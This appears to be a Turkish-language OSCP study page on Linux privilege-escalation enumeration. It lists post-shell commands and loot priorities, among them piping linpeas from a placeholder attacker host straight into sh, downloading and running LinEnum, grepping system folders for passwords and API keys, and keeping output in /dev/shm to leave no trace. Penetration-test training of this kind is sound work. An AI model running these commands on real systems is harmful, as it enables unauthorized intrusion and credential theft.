Linux PrivEsc Enumeration Metodolojisi (linpeas / LinEnum / pspy / Manuel Checklist)
Bir Linux host'a ilk shell düştükten sonra yetki yükseltme için izlenecek sistematik enumeration metodolojisi: önce manuel quick-wins (id, sudo -l, SUID, writable dirs), sonra otomatik araçlar (linpeas, LinEnum) ve süreç gözlemi (pspy). OSCP için linpeas çıktısının nasıl okunacağı ve neyin önce toplanacağı.
- Hedefte düşük yetkili bir shell (TTY veya non-TTY)
- Dosya transferi için bir yöntem (HTTP server, scp, base64)
Komutlar
id; whoami; hostname; uname -a; cat /etc/os-release sudo -l find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null getcap -r / 2>/dev/null curl -s http://{{LHOST}}:{{LPORT}}/linpeas.sh | sh ./linpeas.sh -a 2>&1 | tee /dev/shm/.lp.txt wget -q http://{{LHOST}}:{{LPORT}}/LinEnum.sh -O /tmp/le.sh && bash /tmp/le.sh -t ./pspy64 -pf -i 1000 find / -writable -type d 2>/dev/null | grep -v proc ls -la /etc/cron* /etc/crontab; cat /etc/crontab; crontab -l 2>/dev/null ss -tlnp 2>/dev/null; netstat -tlnp 2>/dev/null grep -rinE 'password|passwd|pwd|secret|api[_-]?key' /var/www /home /etc /opt 2>/dev/null | head -50 Amaç ve Sıralama
Linux host’a ilk shell düştüğünde panikle linpeas çalıştırmadan önce manuel quick-win’leri çek. Otomatik araçlar yavaş ve gürültülüdür; sınavda zaman ve odak kıymetlidir. Doğru sıra:
- Kim ve nerede:
id,uname -a,/etc/os-release. Çıkan grup üyelikleri (docker,lxd,disk,adm,sudo) tek başına root yolu olabilir. - sudo -l: En yüksek değerli tek komut. Parolasız bir giriş varsa GTFOBins’e bak.
- SUID/SGID/caps:
find / -perm -4000,getcap -r /. GTFOBins eşleşmesi = bitti. - Otomatik tarama: linpeas (tercihen fileless
curl | sh), gerekirse LinEnum ile ikinci görüş. - pspy ile bekle: Gizli root cron’ları yalnızca process’leri canlı izleyerek yakalarsın; dosya sisteminde görünmez.
Önce Neyi Topla (Loot Priority)
- Credential’lar:
.env, web app config,~/.bash_history,~/.ssh/, DB config’leri. Reuse OSCP’de #1 vektör. - Writable yerler: PATH hijack, cron script overwrite, wildcard injection için.
- Internal servisler:
ss -tlnpile sadece 127.0.0.1’e bind olanlar (Redis, MySQL, internal web).
linpeas Çıktısını Okuma
linpeas renk kodlu çıktı verir: kırmızı+sarı arka plan = %95 privesc ihtimali, kırmızı = ilginç, sarı = bakmaya değer. Çıktıyı tee ile /dev/shm’e (RAM tabanlı, iz bırakmaz ve disk dolu olsa bile çalışır) yaz, sonra less -r ile renkleri koruyarak oku. Sınavda her satırı okuma — RED/YELLOW bloklarına atla.
pspy Kullanım İncelikleri
pspy root gerektirmez çünkü procfs’i poll eder. Bir cron’un periyodunu bilmiyorsan en az 2-3 dakika bekleterek izle. Çıkan UID=0 process’lerin komut satırını incele: writable bir script mi çağırıyor, relative path mi kullanıyor (PATH hijack), tar/rsync wildcard’ı mı var.
Gotcha’lar
- linpeas’ı
2>/dev/nullile boğma — bazen STDERR’de yetkisiz okuma denemeleri privesc ipucu verir. - Non-TTY shell’de
sudo -lparola istiyorsa öncelnx-shell-upgradeile TTY yükselt (python3 -c 'import pty;pty.spawn("/bin/bash")'). - Araçları statik/uygun mimaride indir:
pspy64vspspy32, hedefinuname -mçıktısına göre seç. /dev/shmve/tmpçoğu zamannoexecdeğildir — binary çalıştırma alanı olarak kullan; değilse/dev/shmdene.